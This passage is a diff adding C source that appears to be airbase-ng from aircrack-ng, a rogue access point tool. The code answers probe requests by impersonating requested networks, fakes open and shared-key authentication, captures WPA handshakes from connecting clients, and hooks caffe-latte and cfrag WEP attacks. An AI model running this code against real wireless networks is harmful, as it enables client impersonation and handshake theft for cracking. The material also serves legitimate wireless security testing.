+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if ((packet[1] & 3) == 0x03)
+	{
+		/* no wds support yet */
+		return (1);
+	}
+
+	/* MAC Filter */
+	if (lopt.filter >= 0)
+	{
+		if (getMACcount(rClient) > 0)
+		{
+			/* filter clients */
+			gotsource = gotMAC(rClient, smac);
+
+			if ((gotsource && lopt.filter == BLOCK_MACS)
+				|| (!gotsource && lopt.filter == ALLOW_MACS))
+				return (0);
+		}
+		if (getMACcount(rBSSID) > 0)
+		{
+			/* filter bssids */
+			gotbssid = gotMAC(rBSSID, bssid);
+
+			if ((gotbssid && lopt.filter == BLOCK_MACS)
+				|| (!gotbssid && lopt.filter == ALLOW_MACS))
+				return (0);
+		}
+	}
+
+	/* check list of clients */
+	st_cur = lopt.st_1st;
+	st_prv = NULL;
+
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, smac, 6)) break;
+
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
+
+	/* if it's a new client, add it */
+
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
+		{
+			perror("malloc failed");
+			return (1);
+		}
+
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		if (lopt.st_1st == NULL)
+			lopt.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
+
+		memcpy(st_cur->stmac, smac, 6);
+
+		st_cur->prev = st_prv;
+
+		st_cur->tinit = time(NULL);
+		st_cur->tlast = time(NULL);
+
+		st_cur->power = -1;
+		st_cur->rate_to = -1;
+		st_cur->rate_from = -1;
+
+		st_cur->probe_index = -1;
+		st_cur->missed = 0;
+		st_cur->lastseq = 0;
+		gettimeofday(&(st_cur->ftimer), NULL);
+
+		for (i = 0; i < NB_PRB; i++)
+		{
+			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
+			st_cur->ssid_length[i] = 0;
+		}
+
+		memset(st_cur->essid, 0, ESSID_LENGTH + 1);
+		st_cur->essid_length = 0;
+
+		st_cur->wpatype = 0;
+		st_cur->wpahash = 0;
+		st_cur->wep = 0;
+
+		lopt.st_end = st_cur;
+	}
+
+	/* Got a data packet with our bssid set and ToDS==1*/
+	if (memcmp(bssid, opt.r_bssid, 6) == 0 && (packet[0] & 0x08) == 0x08
+		&& (packet[1] & 0x03) == 0x01)
+	{
+		fragnum = packet[22] & 0x0F;
+		seqnum = (packet[22] >> 4) | (packet[23] << 4);
+		morefrag = packet[1] & 0x04;
+
+		/* Fragment? */
+		if (fragnum > 0 || morefrag)
+		{
+			addFrag(packet,
+					smac,
+					(int) length,
+					opt.crypt,
+					opt.wepkey,
+					(int) opt.weplen);
+			buffer = getCompleteFrag(
+				smac, seqnum, &len, opt.crypt, opt.wepkey, (int) opt.weplen);
+			timeoutFrag();
+
+			/* we got frag, no compelete packet avail -> do nothing */
+			if (buffer == NULL) return (1);
+
+			memcpy(packet, buffer, len);
+			length = len;
+			free(buffer);
+			buffer = NULL;
+		}
+
+		/* intercept packets in case we got external processing */
+		if (external)
+		{
+			intercept(packet, (int) length);
+			return (0);
+		}
+
+		/* To our mac? */
+		if ((memcmp(dmac, opt.r_bssid, 6) == 0 && !lopt.adhoc)
+			|| (memcmp(dmac, opt.r_smac, 6) == 0 && lopt.adhoc))
+		{
+			/* Is encrypted */
+			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+				&& (packet[1] & 0x40) == 0x40)
+			{
+				/* check the extended IV flag */
+				/* WEP and we got the key */
+				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
+					&& !lopt.cf_attack)
+				{
+					memcpy(K, packet + z, 3);
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					if (decrypt_wep(packet + z + 4,
+									(int) (length - z - 4),
+									K,
+									(int) (3u + opt.weplen))
+						== 0)
+					{
+						return (1);
+					}
+
+					/* WEP data packet was successfully decrypted, *
+					* remove the WEP IV & ICV and write the data  */
+
+					length -= 8;
+
+					memcpy(packet + z, packet + z + 4, length - z);
+
+					packet[1] &= 0xBF;
+				}
+				else
+				{
+					if (lopt.cf_attack)
+					{
+						addCF(packet, length);
+						return (0);
+					}
+
+					/* it's a packet for us, but we either don't have the key or
+					 * its WPA -> throw it away */
+					return (0);
+				}
+			}
+			else
+			{
+				/* unencrypted data packet, nothing special, send it through
+				 * dev_ti */
+				if (lopt.sendeapol
+					&& memcmp(packet + z,
+							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01",
+							  10)
+						   == 0)
+				{
+					/* got eapol start frame */
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got EAPOL start frame from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					st_cur->wpa.state = 0;
+
+					if (lopt.use_fixed_nonce)
+					{
+						memcpy(st_cur->wpa.anonce, lopt.fixed_nonce, 32);
+					}
+					else
+					{
+						for (i = 0; i < 32; i++)
+							st_cur->wpa.anonce[i] = rand_u8();
+					}
+					st_cur->wpa.state |= 1;
+
+					/* build first eapol frame */
+					memcpy(h80211, "\x08\x02\xd5\x00", 4);
+					len = 4;
+
+					memcpy(h80211 + len, smac, 6);
+					len += 6;
+					memcpy(h80211 + len, bssid, 6);
+					len += 6;
+					memcpy(h80211 + len, bssid, 6);
+					len += 6;
+
+					h80211[len] = 0x60;
+					h80211[len + 1] = 0x0f;
+					len += 2;
+
+					// llc+snap
+					memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
+					len += 8;
+
+					// eapol
+					memset(h80211 + len, 0, 99);
+					h80211[len] = 0x01; // version
+					h80211[len + 1] = 0x03; // type
+					h80211[len + 2] = 0x00;
+					h80211[len + 3] = 0x5F; // len
+					if (lopt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
+
+					if (lopt.wpa2type) h80211[len + 4] = 0x02; // WPA2
+
+					if (!lopt.wpa1type && !lopt.wpa2type)
+					{
+						if (st_cur->wpatype == 1) // WPA1
+							h80211[len + 4] = 0xFE; // WPA1
+						else if (st_cur->wpatype == 2)
+							h80211[len + 4] = 0x02; // WPA2
+					}
+
+					if (lopt.sendeapol >= 1 && lopt.sendeapol <= 2) // specified
+					{
+						if (lopt.sendeapol == 1) // MD5
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x89;
+						}
+						else // SHA1
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x8a;
+						}
+					}
+					else // from asso
+					{
+						if (st_cur->wpahash == 1) // MD5
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x89;
+						}
+						else if (st_cur->wpahash == 2) // SHA1
+						{
+							h80211[len + 5] = 0x00;
+							h80211[len + 6] = 0x8a;
+						}
+					}
+
+					h80211[len + 7] = 0x00;
+					h80211[len + 8] = 0x20; // keylen
+
+					memset(h80211 + len + 9, 0, 90);
+					memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
+
+					len += 99;
+
+					my_send_packet(h80211, len);
+					return (0);
+				}
+
+				if (lopt.sendeapol
+					&& memcmp(packet + z,
+							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03",
+							  10)
+						   == 0)
+				{
+					st_cur->wpa.eapol_size = (uint32_t)(
+						(packet[z + 8 + 2] << 8) + packet[z + 8 + 3] + 4);
+
+					if ((unsigned) length - z - 10 < st_cur->wpa.eapol_size
+						|| st_cur->wpa.eapol_size == 0 //-V560
+						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						return (1);
+					}
+
+					/* got eapol frame num 2 */
+					memcpy(st_cur->wpa.snonce, &packet[z + 8 + 17], 32);
+					st_cur->wpa.state |= 2;
+
+					memcpy(st_cur->wpa.keymic, &packet[z + 8 + 81], 16);
+					memcpy(st_cur->wpa.eapol,
+						   &packet[z + 8],
+						   st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = (uint8_t)(packet[z + 8 + 6] & 7);
+
+					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
+
+					store_wpa_handshake(st_cur);
+					if (!opt.quiet)
+					{
+						PCT;
+						printf("Got WPA handshake from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+
+					return (0);
+				}
+			}
+		}
+		else
+		{
+			packet[1] &= 0xFC; // clear ToDS/FromDS
+			if (!lopt.adhoc)
+			{
+				/* Our bssid, ToDS=1, but to a different destination MAC -> send
+				 * it through both interfaces */
+				packet[1] |= 0x02; // set FromDS=1
+				memcpy(packet + 4, dmac, 6);
+				memcpy(packet + 10, bssid, 6);
+				memcpy(packet + 16, smac, 6);
+			}
+			else
+			{
+				/* adhoc, don't replay */
+				memcpy(packet + 4, dmac, 6);
+				memcpy(packet + 10, smac, 6);
+				memcpy(packet + 16, bssid, 6);
+			}
+			/* Is encrypted */
+			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+				&& (packet[1] & 0x40) == 0x40)
+			{
+				/* check the extended IV flag */
+				/* WEP and we got the key */
+				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
+					&& !lopt.caffelatte
+					&& !lopt.cf_attack)
+				{
+					memcpy(K, packet + z, 3);
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					if (decrypt_wep(packet + z + 4,
+									(int) (length - z - 4u),
+									K,
+									(int) (3u + opt.weplen))
+						== 0)
+					{
+						return (1);
+					}
+
+					/* WEP data packet was successfully decrypted, *
+					* remove the WEP IV & ICV and write the data  */
+
+					length -= 8;
+
+					memcpy(packet + z, packet + z + 4, length - z);
+
+					packet[1] &= 0xBF;
+
+					/* reencrypt it to send it with a new IV */
+					memcpy(h80211, packet, length);
+
+					if (create_wep_packet(h80211, &length, z) != 0) return (1);
+
+					if (!lopt.adhoc) my_send_packet(h80211, length);
+				}
+				else
+				{
+					if (lopt.caffelatte)
+					{
+						addarp(packet, (int) length);
+					}
+					if (lopt.cf_attack)
+					{
+						addCF(packet, length);
+					}
+					/* it's a packet we can't decrypt -> just replay it through
+					 * the wireless interface */
+					return (0);
+				}
+			}
+			else
+			{
+				/* unencrypted -> send it through the wireless interface */
+				my_send_packet(packet, length);
+			}
+		}
+
+		memcpy(h80211, dmac, 6); // DST_MAC
+		memcpy(h80211 + 6, smac, 6); // SRC_MAC
+
+		memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
+
+		if (length <= z + 8) return (1);
+
+		memcpy(h80211 + 14, packet + z + 8, length - z - 8);
+		length = length - z - 8 + 14;
+
+		// ethernet frame must be at least 60 bytes without fcs
+		if (length < 60)
+		{
+			trailer = 60 - length;
+			memset(h80211 + length, 0, trailer);
+			length += trailer;
+		}
+
+		ti_write(dev.dv_ti, h80211, (int) length);
+	}
+	else
+	{
+		// react on management frames
+		// probe request -> send probe response if essid matches. if brodcast
+		// probe, ignore it.
+		if (packet[0] == 0x40)
+		{
+			tag = parse_tags(packet + z, 0, (int) (length - z), &len);
+			if (tag != NULL && tag[0] >= 32 && len <= 255) // directed probe
+			{
+				if (lopt.promiscuous || !lopt.f_essid
+					|| gotESSID((char *) tag, (int) len) == 1)
+				{
+					memset(essid, 0, 256);
+					memcpy(essid, tag, len);
+
+					/* store probes */
+					if (len > 0 && essid[0] == 0) goto skip_probe;
+
+					/* got a valid probed ESSID */
+
+					/* add this to the beacon queue */
+					if (lopt.beacon_cache)
+						addESSID((char *) essid, (int) len, lopt.beacon_cache);
+
+					/* check if it's already in the ring buffer */
+					for (i = 0; i < NB_PRB; i++)
+						if (memcmp(st_cur->probes[i], essid, len) == 0)
+							goto skip_probe;
+
+					st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
+					memset(st_cur->probes[st_cur->probe_index], 0, 256);
+					memcpy(st_cur->probes[st_cur->probe_index],
+						   essid,
+						   len); // twice?!
+					st_cur->ssid_length[st_cur->probe_index] = (int) len;
+
+					for (i = 0; i < len; i++)
+					{
+						c = essid[i];
+						if (c == 0 || (c > 126 && c < 160))
+							c = '.'; // could also check ||(c>0 && c<32)
+						st_cur->probes[st_cur->probe_index][i] = (char) c;
+					}
+
+				skip_probe:
+
+					// transform into probe response
+					packet[0] = 0x50;
+
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got directed probe request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5],
+							   essid);
+					}
+
+					// store the tagged parameters and insert the fixed ones
+					buffer = (uint8_t *) malloc(length - z);
+					ALLEGE(buffer != NULL);
+					memcpy(buffer, packet + z, length - z);
+
+					memcpy(packet + z,
+						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+						   12); // fixed information
+					packet[z + 8]
+						= (uint8_t)((apc->interval) & 0xFF); // beacon interval
+					packet[z + 9] = (uint8_t)((apc->interval >> 8) & 0xFF);
+					memcpy(packet + z + 10, apc->capa, 2); // capability
+
+					// set timestamp
+					gettimeofday(&tv1, NULL);
+					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+
+					// copy timestamp into response; a mod 2^64 counter
+					// incremented each microsecond
+					for (i = 0; i < 8; i++)
+					{
+						packet[z + i]
+							= (uint8_t)((timestamp >> (i * 8)) & 0xFF);
+					}
+
+					// insert tagged parameters
+					memcpy(packet + z + 12, buffer, length - z);
+					length += 12;
+					free(buffer);
+					buffer = NULL;
+
+					// add channel
+					packet[length] = 0x03;
+					packet[length + 1] = 0x01;
+					temp_channel = wi_get_channel(_wi_in); // current channel
+					if (!invalid_channel_displayed)
+					{
+						if (temp_channel > 255)
+						{
+							// Display error message once
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value < "
+									"256.\n",
+									temp_channel);
+						}
+						else if (temp_channel < 1)
+						{
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value > "
+									"0.\n",
+									temp_channel);
+						}
+					}
+					packet[length + 2]
+						= (uint8_t)(((temp_channel > 255 || temp_channel < 1)
+									 && lopt.channel != 0)
+										? lopt.channel
+										: temp_channel);
+
+					length += 3;
+
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, opt.r_bssid, 6);
+					memcpy(packet + 16, opt.r_bssid, 6);
+
+					// TODO: See also about 100 lines below
+					if (lopt.allwpa)
+					{
+						memcpy(packet + length,
+							   ALL_WPA2_TAGS,
+							   sizeof(ALL_WPA2_TAGS) - 1);
+						length += sizeof(ALL_WPA2_TAGS) - 1;
+						memcpy(packet + length,
+							   ALL_WPA1_TAGS,
+							   sizeof(ALL_WPA1_TAGS) - 1);
+						length += sizeof(ALL_WPA1_TAGS) - 1;
+					}
+					else
+					{
+						if (lopt.wpa2type > 0)
+						{
+							memcpy(packet + length, WPA2_TAG, 22);
+							packet[length + 7] = (uint8_t) lopt.wpa2type;
+							packet[length + 13] = (uint8_t) lopt.wpa2type;
+							length += 22;
+						}
+
+						if (lopt.wpa1type > 0)
+						{
+							memcpy(packet + length, WPA1_TAG, 24);
+							packet[length + 11] = (uint8_t) lopt.wpa1type;
+							packet[length + 17] = (uint8_t) lopt.wpa1type;
+							length += 24;
+						}
+					}
+
+					my_send_packet(packet, length);
+					return (0);
+				}
+			}
+			else // broadcast probe
+			{
+				if (!lopt.nobroadprobe)
+				{
+					// transform into probe response
+					packet[0] = 0x50;
+
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got broadcast probe request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+
+					// store the tagged parameters and insert the fixed ones
+					buffer = (uint8_t *) malloc(length - z);
+					ALLEGE(buffer != NULL);
+					memcpy(buffer, packet + z, length - z);
+
+					memcpy(packet + z,
+						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+						   12); // fixed information
+					packet[z + 8]
+						= (uint8_t)((apc->interval) & 0xFF); // beacon interval
+					packet[z + 9] = (uint8_t)((apc->interval >> 8) & 0xFF);
+					memcpy(packet + z + 10, apc->capa, 2); // capability
+
+					// set timestamp
+					gettimeofday(&tv1, NULL);
+					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+
+					// copy timestamp into response; a mod 2^64 counter
+					// incremented each microsecond
+					for (i = 0; i < 8; i++)
+					{
+						packet[z + i]
+							= (uint8_t)((timestamp >> (i * 8)) & 0xFF);
+					}
+
+					// insert essid
+					len = (size_t) getESSID(fessid);
+					if (!len)
+					{
+						strncpy(fessid, "default", sizeof(fessid) - 1);
+						len = strlen(fessid);
+					}
+					packet[z + 12] = 0x00;
+					packet[z + 13] = (uint8_t) len;
+					memcpy(packet + z + 14, fessid, len);
+
+					// insert tagged parameters
+					memcpy(packet + z + 14 + len,
+						   buffer,
+						   length
+							   - z); // now we got 2 essid tags... ignore that
+
+					length += 12; // fixed info
+					free(buffer);
+					buffer = NULL;
+					length += 2 + len; // default essid
+
+					// add channel
+					packet[length] = 0x03;
+					packet[length + 1] = 0x01;
+					temp_channel = wi_get_channel(_wi_in); // current channel
+					if (!invalid_channel_displayed)
+					{
+						if (temp_channel > 255)
+						{
+							// Display error message once
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value < "
+									"256.\n",
+									temp_channel);
+						}
+						else if (temp_channel < 1)
+						{
+							invalid_channel_displayed = 1;
+							fprintf(stderr,
+									"Error: Got channel %d, expected a value > "
+									"0.\n",
+									temp_channel);
+						}
+					}
+					packet[length + 2]
+						= (uint8_t)(((temp_channel > 255 || temp_channel < 1)
+									 && lopt.channel != 0)
+										? lopt.channel
+										: temp_channel);
+
+					length += 3;
+
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, opt.r_bssid, 6);
+					memcpy(packet + 16, opt.r_bssid, 6);
+
+					// TODO: See also around ~3500
+					if (lopt.allwpa)
+					{
+						memcpy(packet + length,
+							   ALL_WPA2_TAGS,
+							   sizeof(ALL_WPA2_TAGS) - 1);
+						length += sizeof(ALL_WPA2_TAGS) - 1;
+						memcpy(packet + length,
+							   ALL_WPA1_TAGS,
+							   sizeof(ALL_WPA1_TAGS) - 1);
+						length += sizeof(ALL_WPA1_TAGS) - 1;
+					}
+					else
+					{
+						if (lopt.wpa2type > 0)
+						{
+							memcpy(packet + length, WPA2_TAG, 22);
+							packet[length + 7] = (uint8_t) lopt.wpa2type;
+							packet[length + 13] = (uint8_t) lopt.wpa2type;
+							length += 22;
+						}
+
+						if (lopt.wpa1type > 0)
+						{
+							memcpy(packet + length, WPA1_TAG, 24);
+							packet[length + 11] = (uint8_t) lopt.wpa1type;
+							packet[length + 17] = (uint8_t) lopt.wpa1type;
+							length += 24;
+						}
+					}
+
+					my_send_packet(packet, length);
+					my_send_packet(packet, length);
+					my_send_packet(packet, length);
+
+					return (0);
+				}
+			}
+		}
+
+		// auth req
+		if (packet[0] == 0xB0 && memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			if (packet[z] == 0x00) // open system auth
+			{
+				// make sure it's an auth request
+				if (packet[z + 2] == 0x01)
+				{
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got an auth request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X (open system)\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+					packet[z + 2] = 0x02;
+
+					if (lopt.forceska)
+					{
+						packet[z] = 0x01;
+						packet[z + 4] = 13;
+					}
+
+					my_send_packet(packet, length);
+
+					return (0);
+				}
+			}
+			else // shared key auth
+			{
+				// first response
+				if (packet[z + 2] == 0x01 && (packet[1] & 0x40) == 0x00)
+				{
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got an auth request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X (shared key)\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+					packet[z + 2] = 0x02;
+
+					remaining = lopt.skalen;
+
+					while (remaining > 0)
+					{
+						bytes2use = MIN((uint8_t) 255u, (uint8_t) remaining);
+						remaining -= bytes2use;
+						// add challenge
+						packet[length] = 0x10;
+						packet[length + 1] = bytes2use;
+						length += 2;
+
+						for (i = 0; i < bytes2use; i++)
+						{
+							packet[length + i] = rand_u8();
+						}
+
+						length += bytes2use;
+					}
+					my_send_packet(packet, length);
+					check_shared_key(packet, length);
+
+					return (0);
+				}
+
+				// second response
+				if ((packet[1] & 0x40) == 0x40)
+				{
+					check_shared_key(packet, length);
+					packet[1] = 0x00; // not encrypted
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+
+					packet[z] = 0x01; // shared key
+					packet[z + 1] = 0x00; //-V525
+					packet[z + 2] = 0x04; // sequence 4
+					packet[z + 3] = 0x00;
+					packet[z + 4] = 0x00; // successful
+					packet[z + 5] = 0x00;
+
+					length = z + 6;
+					my_send_packet(packet, length);
+					check_shared_key(packet, length);
+					if (!opt.quiet) PCT;
+					printf("SKA from %02X:%02X:%02X:%02X:%02X:%02X\n",
+						   smac[0],
+						   smac[1],
+						   smac[2],
+						   smac[3],
+						   smac[4],
+						   smac[5]);
+				}
+			}
+		}
+
+		// asso req or reasso
+		if ((packet[0] == 0x00 || packet[0] == 0x20)
+			&& memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			if (packet[0] == 0x00) // asso req
+			{
+				reasso = 0;
+				fixed = 4;
+			}
+			else
+			{
+				reasso = 1;
+				fixed = 10;
+			}
+
+			st_cur->wep = (packet[z] & 0x10) >> 4;
+
+			tag = parse_tags(
+				packet + z + fixed, 0, (int) (length - z - fixed), &len);
+			if (tag != NULL && tag[0] >= 32 && len < 256)
+			{
+				memcpy(essid, tag, len);
+				essid[len] = 0x00;
+				if (lopt.f_essid && !gotESSID((char *) essid, (int) len))
+					return (0);
+			}
+
+			st_cur->wpatype = 0;
+			st_cur->wpahash = 0;
+
+			tag = parse_tags(
+				packet + z + fixed, 0xDD, (int) (length - z - fixed), &len);
+			while (tag != NULL)
+			{
+				wpa_client(st_cur, tag - 2, (int) (len + 2u));
+				tag += (tag - 2)[1] + 2;
+				tag = parse_tags(
+					tag - 2, 0xDD, (int) (length - (tag - packet) + 2u), &len);
+			}
+
+			tag = parse_tags(
+				packet + z + fixed, 0x30, (int) (length - z - fixed), &len);
+			while (tag != NULL)
+			{
+				wpa_client(st_cur, tag - 2, (int) (len + 2u));
+				tag += (tag - 2)[1] + 2;
+				tag = parse_tags(
+					tag - 2, 0x30, (int) (length - (tag - packet) + 2u), &len);
+			}
+
+			if (!reasso)
+				packet[0] = 0x10;
+			else
+				packet[0] = 0x30;
+
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, dmac, 6);
+
+			// store the tagged parameters and insert the fixed ones
+			buffer = (unsigned char *) malloc(length - z - fixed);
+			ALLEGE(buffer != NULL);
+			memcpy(buffer, packet + z + fixed, length - z - fixed);
+
+			packet[z + 2] = 0x00;
+			packet[z + 3] = 0x00;
+			packet[z + 4] = 0x01;
+			packet[z + 5] = 0xC0;
+
+			memcpy(packet + z + 6, buffer, length - z - fixed);
+			length += (6 - fixed);
+			free(buffer);
+			buffer = NULL;
+
+			len = length - z - 6;
+			remove_tag(packet + z + 6, 0, (int *) &len);
+			length = len + z + 6;
+
+			my_send_packet(packet, length);
+			if (!opt.quiet)
+			{
+				PCT;
+				printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated",
+					   smac[0],
+					   smac[1],
+					   smac[2],
+					   smac[3],
+					   smac[4],
+					   smac[5],
+					   (reasso == 0) ? "" : "re");
+				if (st_cur->wpatype != 0)
+				{
+					if (st_cur->wpatype == 1)
+						printf(" (WPA1");
+					else
+						printf(" (WPA2");
+
+					if (st_cur->wpahash == 1)
+						printf(";TKIP)");
+					else
+						printf(";CCMP)");
+				}
+				else if (st_cur->wep != 0)
+				{
+					printf(" (WEP)");
+				}
+				else
+				{
+					printf(" (unencrypted)");
+				}
+
+				if (essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid);
+				printf("\n");
+			}
+
+			memset(st_cur->essid, 0, ESSID_LENGTH + 1);
+			memcpy(st_cur->essid, essid, ESSID_LENGTH + 1);
+			st_cur->essid_length = (int) ustrlen(essid);
+
+			memset(essid, 0, sizeof(essid)); //-V597
+
+			/* either specified or determined */
+			if ((lopt.sendeapol && (lopt.wpa1type || lopt.wpa2type))
+				|| (st_cur->wpatype && st_cur->wpahash))
+			{
+				st_cur->wpa.state = 0;
+
+				if (lopt.use_fixed_nonce)
+				{
+					memcpy(st_cur->wpa.anonce, lopt.fixed_nonce, 32);
+				}
+				else
+				{
+					for (i = 0; i < 32; i++) st_cur->wpa.anonce[i] = rand_u8();
+				}
+
+				st_cur->wpa.state |= 1;
+
+				/* build first eapol frame */
+				memcpy(h80211, "\x08\x02\xd5\x00", 4);
+				len = 4;
+
+				memcpy(h80211 + len, smac, 6);
+				len += 6;
+				memcpy(h80211 + len, bssid, 6);
+				len += 6;
+				memcpy(h80211 + len, bssid, 6);
+				len += 6;
+
+				h80211[len] = 0x60;
+				h80211[len + 1] = 0x0f;
+				len += 2;
+
+				// llc+snap
+				memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
+				len += 8;
+
+				// eapol
+				memset(h80211 + len, 0, 99);
+				h80211[len] = 0x01; // version
+				h80211[len + 1] = 0x03; // type
+				h80211[len + 2] = 0x00;
+				h80211[len + 3] = 0x5F; // len
+				if (lopt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
+
+				if (lopt.wpa2type) h80211[len + 4] = 0x02; // WPA2
+
+				if (!lopt.wpa1type && !lopt.wpa2type)
+				{
+					if (st_cur->wpatype == 1) // WPA1
+						h80211[len + 4] = 0xFE; // WPA1
+					else
+						h80211[len + 4] = 0x02; // WPA2
+				}
+
+				if (lopt.sendeapol >= 1 && lopt.sendeapol <= 2) // specified
+				{
+					if (lopt.sendeapol == 1) // MD5
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x89;
+					}
+					else // SHA1
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x8a;
+					}
+				}
+				else // from asso
+				{
+					if (st_cur->wpahash == 1) // MD5
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x89;
+					}
+					else if (st_cur->wpahash == 2) // SHA1
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x8a;
+					}
+				}
+
+				h80211[len + 7] = 0x00;
+				h80211[len + 8] = 0x20; // keylen
+
+				memset(h80211 + len + 9, 0, 90);
+				memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
+
+				len += 99;
+
+				my_send_packet(h80211, len);
+			}
+
+			return (0);
+		}
+
+		return (0);
+	}
+
+	return (0);
+}
+
+static void beacon_thread(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	struct AP_conf apc;
+	struct timeval tv, tv1, tv2;
+	u_int64_t timestamp;
+	uint8_t beacon[512];
+	size_t beacon_len = 0;
+	int seq = 0, i = 0, n = 0;
+	size_t essid_len;
+	int temp_channel;
+	uint8_t essid[MAX_IE_ELEMENT_SIZE + 1];
+	float f, ticks[3];
+	ssize_t rc;
+
+	memset(essid, 0, MAX_IE_ELEMENT_SIZE + 1);
+	memcpy(&apc, arg, sizeof(struct AP_conf));
+
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+		if (dev.fd_rtc >= 0)
+		{
+			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				return;
+			}
+
+			if (rc == 0)
+			{
+				perror("EOF encountered on /dev/rtc");
+				return;
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
+
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= ((double) apc.interval / 1000.0) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//             ticks[2] = 0;
+			fflush(stdout);
+			gettimeofday(&tv1, NULL);
+			timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+			fflush(stdout);
+
+			/* flush expired ESSID entries */
+			flushESSID();
+			essid_len = (size_t) getNextESSID((char *) essid);
+			if (!essid_len)
+			{
